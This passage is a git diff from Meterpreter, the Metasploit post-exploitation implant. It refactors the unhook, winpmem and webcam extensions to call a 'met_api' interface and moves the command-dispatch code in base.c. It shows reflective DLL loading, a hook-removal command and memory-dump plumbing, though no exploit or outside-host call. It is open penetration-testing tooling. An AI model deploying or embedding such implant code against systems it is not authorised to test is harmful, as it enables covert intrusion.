met_api->packet.transmit_response(dwResult, remote, response); + + met_api->event.destroy(g_pThreadState->pCallEvent); + met_api->event.destroy(g_pThreadState->pResultEvent); + free(g_pThreadState); + g_pThreadState = NULL; + + met_api->thread.destroy(g_pWorkerThread); + g_pWorkerThread = NULL; + + dprintf("[WEBCAM] Exit."); + return dwResult; + } } diff --git a/c/meterpreter/source/extensions/unhook/unhook.c b/c/meterpreter/source/extensions/unhook/unhook.c index bacd290e..378bef71 100644 --- a/c/meterpreter/source/extensions/unhook/unhook.c +++ b/c/meterpreter/source/extensions/unhook/unhook.c @@ -2,21 +2,19 @@ * @file unhook.c * @brief Entry point and intialisation functionality for the unhook extention. */ -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "unhook.h" #include "refresh.h" -DWORD unhook_pe(Remote *remote, Packet *packet); +// Required so that use of the API works. +MetApi* met_api = NULL; -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); + +DWORD unhook_pe(Remote *remote, Packet *packet); Command customCommands[] = { @@ -27,23 +25,28 @@ Command customCommands[] = }; /*! - * @brief Initialize the server extension + * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all(customCommands); + met_api->command.register_all( customCommands ); return ERROR_SUCCESS; } /*! - * @brief Deinitialize the server extension + * @brief Deinitialize the server extension. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all( customCommands ); return ERROR_SUCCESS; } @@ -51,14 +54,26 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) DWORD unhook_pe(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; RefreshPE(); - packet_add_tlv_uint(response, TLV_TYPE_UNHOOK_RESPONSE, ERROR_SUCCESS); - packet_transmit_response(result, remote, response); + met_api->packet.add_tlv_uint(response, TLV_TYPE_UNHOOK_RESPONSE, ERROR_SUCCESS); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; +} + +/*! + * @brief Get the name of the extension. + * @param buffer Pointer to the buffer to write the name to. + * @param bufferSize Size of the \c buffer parameter. + * @return Indication of success or failure. + */ +DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize) +{ + strncpy_s(buffer, bufferSize, "unhook", bufferSize - 1); + return ERROR_SUCCESS; } \ No newline at end of file diff --git a/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp b/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp index d42d6855..0c036072 100644 --- a/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp +++ b/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp @@ -1,21 +1,17 @@ #define DEBUGTRACE 1 -extern "C"{ +extern "C" { /*! * @file WINPMEM.cpp * @brief Entry point and intialisation functionality for the WINPMEM extention. */ -#include "../../common/common.h" - -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" - // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function - // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the - // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. +#include "common.h" +#include "common_metapi.h" #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" - // this sets the delay load hook function, see DelayLoadMetSrv.h - EnableDelayLoadMetSrv(); + // Required so that use of the API works. + MetApi* met_api = NULL; - DWORD dump_ram(Remote *remote, Packet *packet); + DWORD dump_ram(Remote* remote, Packet* packet); Command customCommands[] = { @@ -24,26 +20,43 @@ extern "C"{ }; /*! - * @brief Initialize the server extension - */ - DWORD __declspec(dllexport) InitServerExtension(Remote *remote) + * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. + */ + DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all(customCommands); + met_api->command.register_all(customCommands); return ERROR_SUCCESS; } /*! - * @brief Deinitialize the server extension - */ - DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) + * @brief Deinitialize the server extension. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. + */ + DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); return ERROR_SUCCESS; } + + /*! + * @brief Get the name of the extension. + * @param buffer Pointer to the buffer to write the name to. + * @param bufferSize Size of the \c buffer parameter. + * @return Indication of success or failure. + */ + DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize) + { + strncpy_s(buffer, bufferSize, "winpmem", bufferSize - 1); + return ERROR_SUCCESS; + } } #include "winpmem_meterpreter.h" @@ -180,7 +193,7 @@ WinPmem_meterpreter *WinPmemFactory() DWORD dump_ram(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result; result = WINPMEM_ERROR_UNKNOWN; __int64 status; @@ -241,7 +254,7 @@ DWORD dump_ram(Remote *remote, Packet *packet) chops.read = winpmem_channel_read; chops.eof = winpmem_channel_eof; - if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops))) + if (!(newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops))) { result = WINPMEM_ERROR_UNKNOWN; dprintf("[WINPMEM] Failed to get Meterpreter Channel"); @@ -249,12 +262,12 @@ DWORD dump_ram(Remote *remote, Packet *packet) goto end; } - channel_set_type(newChannel, "winpmem"); - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); - packet_add_tlv_qword(response, TLV_TYPE_WINPMEM_MEMORY_SIZE, pmem_handle->get_max_physical_memory()); + met_api->channel.set_type(newChannel, "winpmem"); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel)); + met_api->packet.add_tlv_qword(response, TLV_TYPE_WINPMEM_MEMORY_SIZE, pmem_handle->get_max_physical_memory()); end: - packet_add_tlv_uint(response, TLV_TYPE_WINPMEM_ERROR_CODE, result); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_uint(response, TLV_TYPE_WINPMEM_ERROR_CODE, result); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/common/base.c b/c/meterpreter/source/metsrv/base.c old mode 100755 new mode 100644 similarity index 87% rename from c/meterpreter/source/common/base.c rename to c/meterpreter/source/metsrv/base.c index 51de610b..34627903 --- a/c/meterpreter/source/common/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -1,662 +1,655 @@ -/*! - * @file base.c - * @brief Definitions that apply to almost any Meterpreter component. - */ -#include "common.h" - -// Local remote request implementors -extern DWORD remote_request_core_console_write(Remote *remote, Packet *packet); - -extern DWORD remote_request_core_channel_open(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_write(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_read(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_close(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet); -extern DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet); - -extern BOOL remote_request_core_shutdown(Remote *remote, Packet *packet, DWORD* pResult); - -extern DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet); - -extern DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet); -extern DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet); - -extern BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result); -extern DWORD remote_request_core_transport_list(Remote* remote, Packet* packet); -extern BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result); -extern BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result); -extern BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result); -extern DWORD remote_request_core_transport_add(Remote* remote, Packet* packet); -extern DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet); - -extern BOOL remote_request_core_migrate(Remote *remote, Packet *packet, DWORD* pResult); - -extern DWORD request_negotiate_aes_key(Remote* remote, Packet* packet); - -// Local remote response implementors -extern DWORD remote_response_core_console_write(Remote *remote, Packet *packet); - -extern DWORD remote_response_core_channel_open(Remote *remote, Packet *packet); -extern DWORD remote_response_core_channel_close(Remote *remote, Packet *packet); - -DWORD remote_request_core_console_write(Remote *remote, Packet *packet) -{ - return ERROR_SUCCESS; -} - -DWORD remote_response_core_console_write(Remote *remote, Packet *packet) -{ - return ERROR_SUCCESS; -} - -BOOL command_is_inline(Command *command, Packet *packet); -Command* command_locate(Packet *packet); -DWORD command_validate_arguments(Command *command, Packet *packet); -DWORD THREADCALL command_process_thread(THREAD * thread); - - -/*! - * @brief Base RPC dispatch table. - */ -Command baseCommands[] = -{ - // Console commands - { "core_console_write", - { remote_request_core_console_write, NULL, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT }, - { remote_response_core_console_write, NULL, EMPTY_TLV }, - }, - - // Native Channel commands - // this overloads the "core_channel_open" in the base command list - COMMAND_REQ_REP("core_channel_open", remote_request_core_channel_open, remote_response_core_channel_open), - COMMAND_REQ("core_channel_write", remote_request_core_channel_write), - COMMAND_REQ_REP("core_channel_close", remote_request_core_channel_close, remote_response_core_channel_close), - - // Buffered/Pool channel commands - COMMAND_REQ("core_channel_read", remote_request_core_channel_read), - // Pool channel commands - COMMAND_REQ("core_channel_seek", remote_request_core_channel_seek), - COMMAND_REQ("core_channel_eof", remote_request_core_channel_eof), - COMMAND_REQ("core_channel_tell", remote_request_core_channel_tell), - // Soon to be deprecated - COMMAND_REQ("core_channel_interact", remote_request_core_channel_interact), - // Packet Encryption - COMMAND_REQ("core_negotiate_tlv_encryption", request_negotiate_aes_key), - // timeouts - COMMAND_REQ("core_transport_set_timeouts", remote_request_core_transport_set_timeouts), - - COMMAND_REQ("core_transport_getcerthash", remote_request_core_transport_getcerthash), - COMMAND_REQ("core_transport_setcerthash", remote_request_core_transport_setcerthash), - - COMMAND_REQ("core_transport_list", remote_request_core_transport_list), - COMMAND_INLINE_REQ("core_transport_sleep", remote_request_core_transport_sleep), - COMMAND_INLINE_REQ("core_transport_change", remote_request_core_transport_change), - COMMAND_INLINE_REQ("core_transport_next", remote_request_core_transport_next), - COMMAND_INLINE_REQ("core_transport_prev", remote_request_core_transport_prev), - COMMAND_REQ("core_transport_add", remote_request_core_transport_add), - COMMAND_REQ("core_transport_remove", remote_request_core_transport_remove), - // Migration - COMMAND_INLINE_REQ("core_migrate", remote_request_core_migrate), - // Shutdown - COMMAND_INLINE_REQ("core_shutdown", remote_request_core_shutdown), - // Terminator - COMMAND_TERMINATOR -}; - -/*! - * @brief Dynamically registered command extensions. - * @details A linked list of commands registered on the fly by reflectively-loaded extensions. - */ -Command* extensionCommands = NULL; - -/*! - * @brief Register a full list of commands with meterpreter. - * @param commands The array of commands that are to be registered for the module/extension. - */ -void command_register_all(Command commands[]) -{ - DWORD index; - - for (index = 0; commands[index].method; index++) - { - command_register(&commands[index]); - } - -#ifdef DEBUGTRACE - Command* command; - - dprintf("[COMMAND LIST] Listing current extension commands"); - for (command = extensionCommands; command; command = command->next) - { - dprintf("[COMMAND LIST] Found: %s", command->method); - } -#endif -} - -/*! - * @brief Dynamically register a custom command handler - * @param command Pointer to the command that should be registered. - * @return `ERROR_SUCCESS` when command registers successfully, otherwise returns the error. - */ -DWORD command_register(Command *command) -{ - Command *newCommand; - - dprintf("Registering a new command (%s)...", command->method); - if (!(newCommand = (Command *)malloc(sizeof(Command)))) - { - return ERROR_NOT_ENOUGH_MEMORY; - } - - dprintf("Allocated memory..."); - memcpy(newCommand, command, sizeof(Command)); - - dprintf("Setting new command..."); - if (extensionCommands) - { - extensionCommands->prev = newCommand; - } - - dprintf("Fixing next/prev... %p", newCommand); - newCommand->next = extensionCommands; - newCommand->prev = NULL; - extensionCommands = newCommand; - - dprintf("Done..."); - return ERROR_SUCCESS; -} - -/*! - * @brief Deregister a full list of commands from meterpreter. - * @param commands The array of commands that are to be deregistered from the module/extension. - */ -void command_deregister_all(Command commands[]) -{ - DWORD index; - - for (index = 0; commands[index].method; index++) - { - command_deregister(&commands[index]); - } -} - -/*! - * @brief Dynamically deregister a custom command handler - * @param command Pointer to the command that should be deregistered. - * @return `ERROR_SUCCESS` when command deregisters successfully, otherwise returns the error. - */ -DWORD command_deregister(Command *command) -{ - Command *current, *prev; - DWORD res = ERROR_NOT_FOUND; - - // Search the extension list for the command - for (current = extensionCommands, prev = NULL; - current; - prev = current, current = current->next) - { - if (strcmp(command->method, current->method)) - continue; - - if (prev) - { - prev->next = current->next; - } - else - { - extensionCommands = current->next; - } - - if (current->next) - { - current->next->prev = prev; - } - - // Deallocate it - free(current); - - res = ERROR_SUCCESS; - - break; - } - - return res; -} - -/*! @brief A list of all command threads currenlty executing. */ -LIST * commandThreadList = NULL; - -/*! - * @brief Block untill all running command threads have finished. - */ -VOID command_join_threads(VOID) -{ - while (list_count(commandThreadList) > 0) - { - THREAD * thread = (THREAD *)list_get(commandThreadList, 0); - if (thread) - { - thread_join(thread); - } - } -} - -/*! - * @brief Process a command directly on the current thread. - * @param baseCommand Pointer to the \c Command in the base command list to be executed. - * @param extensionCommand Pointer to the \c Command in the extension command list to be executed. - * @param remote Pointer to the \c Remote endpoint for this command. - * @param packet Pointer to the \c Packet containing the command detail. - * @returns Boolean value indicating if the server should continue processing. - * @retval TRUE The server can and should continue processing. - * @retval FALSE The server should stop processing and shut down. - * @sa command_handle - * @sa command_process_thread - * @remarks The \c baseCommand is always executed first, but if there is an \c extensionCommand - * then the result of the \c baseCommand processing is ignored and the result of - * \c extensionCommand is returned instead. - */ -BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Remote *remote, Packet *packet) -{ - DWORD result; - BOOL serverContinue = TRUE; - Tlv requestIdTlv; - PCHAR requestId; - PacketTlvType packetTlvType; - Command *commands[2] = { baseCommand, extensionCommand }; - Command *command = NULL; - DWORD dwIndex; - LPCSTR lpMethod = NULL; - - __try - { - do - { - for (dwIndex = 0; dwIndex < 2; ++dwIndex) - { - command = commands[dwIndex]; - - if (command == NULL) - { - continue; - } - - lpMethod = command->method; - dprintf("[COMMAND] Executing command %s", lpMethod); - - // Impersonate the thread token if needed (only on Windows) - if (remote->server_token != remote->thread_token) - { - if (!ImpersonateLoggedOnUser(remote->thread_token)) - { - dprintf("[COMMAND] Failed to impersonate thread token (%s) (%u)", lpMethod, GetLastError()); - } - } - - // Validate the arguments, if requested. Always make sure argument - // lengths are sane. - if (command_validate_arguments(command, packet) != ERROR_SUCCESS) - { - dprintf("[COMMAND] Command arguments failed to validate"); - continue; - } - - packetTlvType = packet_get_type(packet); - dprintf("[DISPATCH] Packet type for %s is %u", lpMethod, packetTlvType); - switch (packetTlvType) - { - case PACKET_TLV_TYPE_REQUEST: - case PACKET_TLV_TYPE_PLAIN_REQUEST: - if (command->request.inline_handler) { - dprintf("[DISPATCH] executing inline request handler %s", lpMethod); - serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue; - dprintf("[DISPATCH] executed %s, continue %s", lpMethod, serverContinue ? "yes" : "no"); - } - else - { - dprintf("[DISPATCH] executing request handler %s", lpMethod); - result = command->request.handler(remote, packet); - } - break; - case PACKET_TLV_TYPE_RESPONSE: - case PACKET_TLV_TYPE_PLAIN_RESPONSE: - if (command->response.inline_handler) - { - dprintf("[DISPATCH] executing inline response handler %s", lpMethod); - serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue; - } - else - { - dprintf("[DISPATCH] executing response handler %s", lpMethod); - result = command->response.handler(remote, packet); - } - break; - } - } - - dprintf("[COMMAND] Calling completion handlers..."); - - // Get the request identifier if the packet has one. - if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestIdTlv) == ERROR_SUCCESS) - { - requestId = (PCHAR)requestIdTlv.buffer; - } - - // Finally, call completion routines for the provided identifier - if (((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId) - { - packet_call_completion_handlers(remote, packet, requestId); - } - - dprintf("[COMMAND] Completion handlers finished for %s.", lpMethod); - } while (0); - } - __except (EXCEPTION_EXECUTE_HANDLER) - { - dprintf("[COMMAND] Exception hit in command %s", lpMethod); - } - - if (!packet->local) - { - dprintf("[COMMAND] Packet is not local, destroying"); - packet_destroy(packet); - dprintf("[COMMAND] Packet destroyed"); - } - - dprintf("[COMMAND] Command processing finishing. Returning: %s", (serverContinue ? "TRUE" : "FALSE")); - return serverContinue; -} - -/*! - * @brief Attempt to locate a command in the base command list. - * @param method String that identifies the command. - * @returns Pointer to the command entry in the base command list. - * @retval NULL Indicates that no command was found for the given method. - * @retval NON-NULL Pointer to the command that can be executed. - */ -Command* command_locate_base(const char* method) -{ - DWORD index; - - dprintf("[COMMAND EXEC] Attempting to locate base command %s", method); - for (index = 0; baseCommands[index].method; ++index) - { - if (strcmp(baseCommands[index].method, method) == 0) - { - return &baseCommands[index]; - } - } - - dprintf("[COMMAND EXEC] Couldn't find base command %s", method); - return NULL; -} - -/*! - * @brief Attempt to locate a command in the extensions command list. - * @param method String that identifies the command. - * @returns Pointer to the command entry in the extensions command list. - * @retval NULL Indicates that no command was found for the given method. - * @retval NON-NULL Pointer to the command that can be executed. - */ -Command* command_locate_extension(const char* method) -{ - Command* command; - - dprintf("[COMMAND EXEC] Attempting to locate extension command %s (%p)", method, extensionCommands); - for (command = extensionCommands; command; command = command->next) - { - if (strcmp(command->method, method) == 0) - { - return command; - } - } - - dprintf("[COMMAND EXEC] Couldn't find extension command %s", method); - return NULL; -} - -/*! - * @brief Handle an incoming command. - * @param remote Pointer to the \c Remote instance associated with this command. - * @param packet Pointer to the \c Packet containing the command data. - * @retval TRUE The server can and should continue processing. - * @retval FALSE The server should stop processing and shut down. - * @remark This function was incorporate to help support two things in meterpreter: - * -# A way of allowing a command to be processed directly on the main server - * thread and not on another thread (which in some cases can cause problems). - * -# A cleaner way of shutting down the server so that container processes - * can shutdown cleanly themselves, where appropriate. - * - * This function will look at the command definition and determine if it should - * be executed inline or on a new command thread. - * @sa command_process_inline - * @sa command_process_thread - */ -BOOL command_handle(Remote *remote, Packet *packet) -{ - BOOL result = TRUE; - THREAD* cpt = NULL; - Command* baseCommand = NULL; - Command* extensionCommand = NULL; - Command** commands = NULL; - Packet* response = NULL; - PCHAR lpMethod = NULL; - Tlv methodTlv; - - do - { - if (packet_get_tlv_string(packet, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) - { - dprintf("[COMMAND] Unable to extract method from packet."); - break; - } - - lpMethod = (PCHAR)methodTlv.buffer; - - baseCommand = command_locate_base(lpMethod); - extensionCommand = command_locate_extension(lpMethod); - - if (baseCommand == NULL && extensionCommand == NULL) - { - dprintf("[DISPATCH] Command not found: %s", lpMethod); - // We have no matching command for this packet, so it won't get handled. We - // need to send an empty response and clean up here before exiting out. - response = packet_create_response(packet); - if (packet->local) - { - packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_NOT_SUPPORTED); - } - else - { - packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response); - packet_destroy(packet); - } - break; - } - - // if either command is registered as inline, run them inline - if ((baseCommand && command_is_inline(baseCommand, packet)) - || (extensionCommand && command_is_inline(extensionCommand, packet)) - || packet->local) - { - dprintf("[DISPATCH] Executing inline: %s", lpMethod); - result = command_process_inline(baseCommand, extensionCommand, remote, packet); - dprintf("[DISPATCH] Executed inline: result %u (%x)", result, result); - } - else - { - dprintf("[DISPATCH] Executing in thread: %s", lpMethod); - - commands = (Command**)malloc(sizeof(Command*) * 2); - *commands = baseCommand; - *(commands + 1) = extensionCommand; - - cpt = thread_create(command_process_thread, remote, packet, commands); - if (cpt) - { - dprintf("[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle); - thread_run(cpt); - } - } - } while (0); - - return result; -} - -/*! - * @brief Process a single command in a seperate thread of execution. - * @param thread Pointer to the thread to execute. - * @return Result of thread execution (not the result of the command). - * @sa command_handle - * @sa command_process_inline - */ -DWORD THREADCALL command_process_thread(THREAD * thread) -{ - Command** commands = NULL; - Remote * remote = NULL; - Packet * packet = NULL; - - dprintf("[COMMAND] executing in thread %p", thread); - - if (thread == NULL) - { - return ERROR_INVALID_HANDLE; - } - - remote = (Remote *)thread->parameter1; - if (remote == NULL) - { - return ERROR_INVALID_HANDLE; - } - - packet = (Packet *)thread->parameter2; - if (packet == NULL) - { - return ERROR_INVALID_DATA; - } - - commands = (Command**)thread->parameter3; - if (commands == NULL) - { - return ERROR_INVALID_DATA; - } - - if (commandThreadList == NULL) - { - commandThreadList = list_create(); - if (commandThreadList == NULL) - { - return ERROR_INVALID_HANDLE; - } - } - - list_add(commandThreadList, thread); - - // invoke processing inline, passing in both commands - dprintf("[COMMAND] About to execute inline -> Commands: %p Command1: %p Command2: %p", commands, *commands, *(commands + 1)); - command_process_inline(*commands, *(commands + 1), remote, packet); - dprintf("[COMMAND] Executed inline -> Commands: %p Command1: %p Command2: %p", commands, *commands, *(commands + 1)); - - if (list_remove(commandThreadList, thread)) - { - thread_destroy(thread); - } - - // free things up now that the command stuff has been finished - dprintf("[COMMAND] Cleaning up commands"); - free(commands); - - return ERROR_SUCCESS; -} - -/*! - * @brief Determine if a given command/packet combination should be invoked inline. - * @param command Pointer to the \c Command being invoked. - * @param packet Pointer to the \c Packet being received/sent. - * @returns Boolean indication of whether the command should be executed inline. - * @retval TRUE The command should be executed inline on the current thread. - * @retval FALSE The command should be executed on a new thread. - */ -BOOL command_is_inline( Command *command, Packet *packet ) -{ - switch (packet_get_type( packet )) - { - case PACKET_TLV_TYPE_REQUEST: - case PACKET_TLV_TYPE_PLAIN_REQUEST: - if (command->request.inline_handler) - return TRUE; - case PACKET_TLV_TYPE_RESPONSE: - case PACKET_TLV_TYPE_PLAIN_RESPONSE: - if (command->response.inline_handler) - return TRUE; - } - - return FALSE; -} - -/*! - * @brief Validate command arguments - * @return Indication of whether the commands are valid or not. - * @retval ERROR_SUCCESS All arguments are valid. - * @retval ERROR_INVALID_PARAMETER An invalid parameter exists. - */ -DWORD command_validate_arguments(Command *command, Packet *packet) -{ - PacketDispatcher *dispatcher = NULL; - PacketTlvType type = packet_get_type(packet); - DWORD res = ERROR_SUCCESS, - packetIndex, commandIndex; - Tlv current; - - // Select the dispatcher table - if ((type == PACKET_TLV_TYPE_RESPONSE) || - (type == PACKET_TLV_TYPE_PLAIN_RESPONSE)) - dispatcher = &command->response; - else - dispatcher = &command->request; - - // Enumerate the arguments, validating the meta types of each - for (commandIndex = 0, packetIndex = 0; - ((packet_enum_tlv(packet, packetIndex, TLV_TYPE_ANY, ¤t) == ERROR_SUCCESS) - && (res == ERROR_SUCCESS)); - commandIndex++, packetIndex++) - { - TlvMetaType tlvMetaType; - - // Check to see if we've reached the end of the command arguments - if ((dispatcher->numArgumentTypes) && - (commandIndex == (dispatcher->numArgumentTypes & ARGUMENT_FLAG_MASK))) - { - // If the repeat flag is set, reset the index - if (commandIndex & ARGUMENT_FLAG_REPEAT) - commandIndex = 0; - else - break; - } - - // Make sure the argument is at least one of the meta types - tlvMetaType = packet_get_tlv_meta(packet, ¤t); - - // Validate argument meta types - switch (tlvMetaType) - { - case TLV_META_TYPE_STRING: - if (packet_is_tlv_null_terminated(¤t) != ERROR_SUCCESS) - { - dprintf("[COMMAND] string is not null terminated"); - res = ERROR_INVALID_PARAMETER; - } - break; - default: - break; - } - - if ((res != ERROR_SUCCESS) && - (commandIndex < dispatcher->numArgumentTypes)) - break; - } - - return res; -} +/*! + * @file base.c + * @brief Definitions that apply to almost any Meterpreter component. + */ +#include "metsrv.h" + +// TODO: move these to a header? +// Local remote request implementors +DWORD remote_request_core_console_write(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_open(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_write(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_read(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_close(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet); +DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet); +BOOL remote_request_core_shutdown(Remote *remote, Packet *packet, DWORD* pResult); +DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet); +DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet); +DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet); +BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result); +DWORD remote_request_core_transport_list(Remote* remote, Packet* packet); +BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result); +BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result); +BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result); +DWORD remote_request_core_transport_add(Remote* remote, Packet* packet); +DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet); +BOOL remote_request_core_migrate(Remote *remote, Packet *packet, DWORD* pResult); +DWORD request_negotiate_aes_key(Remote* remote, Packet* packet); + +// Local remote response implementors +DWORD remote_response_core_console_write(Remote *remote, Packet *packet); +DWORD remote_response_core_channel_open(Remote *remote, Packet *packet); +DWORD remote_response_core_channel_close(Remote *remote, Packet *packet); + +DWORD remote_request_core_console_write(Remote *remote, Packet *packet) +{ + return ERROR_SUCCESS; +} + +DWORD remote_response_core_console_write(Remote *remote, Packet *packet) +{ + return ERROR_SUCCESS; +} + +BOOL command_is_inline(Command *command, Packet *packet); +Command* command_locate(Packet *packet); +DWORD command_validate_arguments(Command *command, Packet *packet); +DWORD THREADCALL command_process_thread(THREAD * thread); + + +/*! + * @brief Base RPC dispatch table. + */ +Command baseCommands[] = +{ + // Console commands + { "core_console_write", + { remote_request_core_console_write, NULL, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT }, + { remote_response_core_console_write, NULL, EMPTY_TLV }, + }, + + // Native Channel commands + // this overloads the "core_channel_open" in the base command list + COMMAND_REQ_REP("core_channel_open", remote_request_core_channel_open, remote_response_core_channel_open), + COMMAND_REQ("core_channel_write", remote_request_core_channel_write), + COMMAND_REQ_REP("core_channel_close", remote_request_core_channel_close, remote_response_core_channel_close), + + // Buffered/Pool channel commands + COMMAND_REQ("core_channel_read", remote_request_core_channel_read), + // Pool channel commands + COMMAND_REQ("core_channel_seek", remote_request_core_channel_seek), + COMMAND_REQ("core_channel_eof", remote_request_core_channel_eof), + COMMAND_REQ("core_channel_tell", remote_request_core_channel_tell), + // Soon to be deprecated + COMMAND_REQ("core_channel_interact", remote_request_core_channel_interact), + // Packet Encryption + COMMAND_REQ("core_negotiate_tlv_encryption", request_negotiate_aes_key), + // timeouts + COMMAND_REQ("core_transport_set_timeouts", remote_request_core_transport_set_timeouts), + + COMMAND_REQ("core_transport_getcerthash", remote_request_core_transport_getcerthash), + COMMAND_REQ("core_transport_setcerthash", remote_request_core_transport_setcerthash), + + COMMAND_REQ("core_transport_list", remote_request_core_transport_list), + COMMAND_INLINE_REQ("core_transport_sleep", remote_request_core_transport_sleep), + COMMAND_INLINE_REQ("core_transport_change", remote_request_core_transport_change), + COMMAND_INLINE_REQ("core_transport_next", remote_request_core_transport_next), + COMMAND_INLINE_REQ("core_transport_prev", remote_request_core_transport_prev), + COMMAND_REQ("core_transport_add", remote_request_core_transport_add), + COMMAND_REQ("core_transport_remove", remote_request_core_transport_remove), + // Migration + COMMAND_INLINE_REQ("core_migrate", remote_request_core_migrate), + // Shutdown + COMMAND_INLINE_REQ("core_shutdown", remote_request_core_shutdown), + // Terminator + COMMAND_TERMINATOR +}; + +/*! + * @brief Dynamically registered command extensions. + * @details A linked list of commands registered on the fly by reflectively-loaded extensions. + */ +Command* extensionCommands = NULL; + +/*! + * @brief Register a full list of commands with meterpreter. + * @param commands The array of commands that are to be registered for the module/extension. + */ +void command_register_all(Command commands[]) +{ + DWORD index; + + for (index = 0; commands[index].method; index++) + { + command_register(&commands[index]); + } + +#ifdef DEBUGTRACE + Command* command; + + dprintf("[COMMAND LIST] Listing current extension commands"); + for (command = extensionCommands; command; command = command->next) + { + dprintf("[COMMAND LIST] Found: %s", command->method); + } +#endif +} + +/*! + * @brief Dynamically register a custom command handler + * @param command Pointer to the command that should be registered. + * @return `ERROR_SUCCESS` when command registers successfully, otherwise returns the error. + */ +DWORD command_register(Command *command) +{ + Command 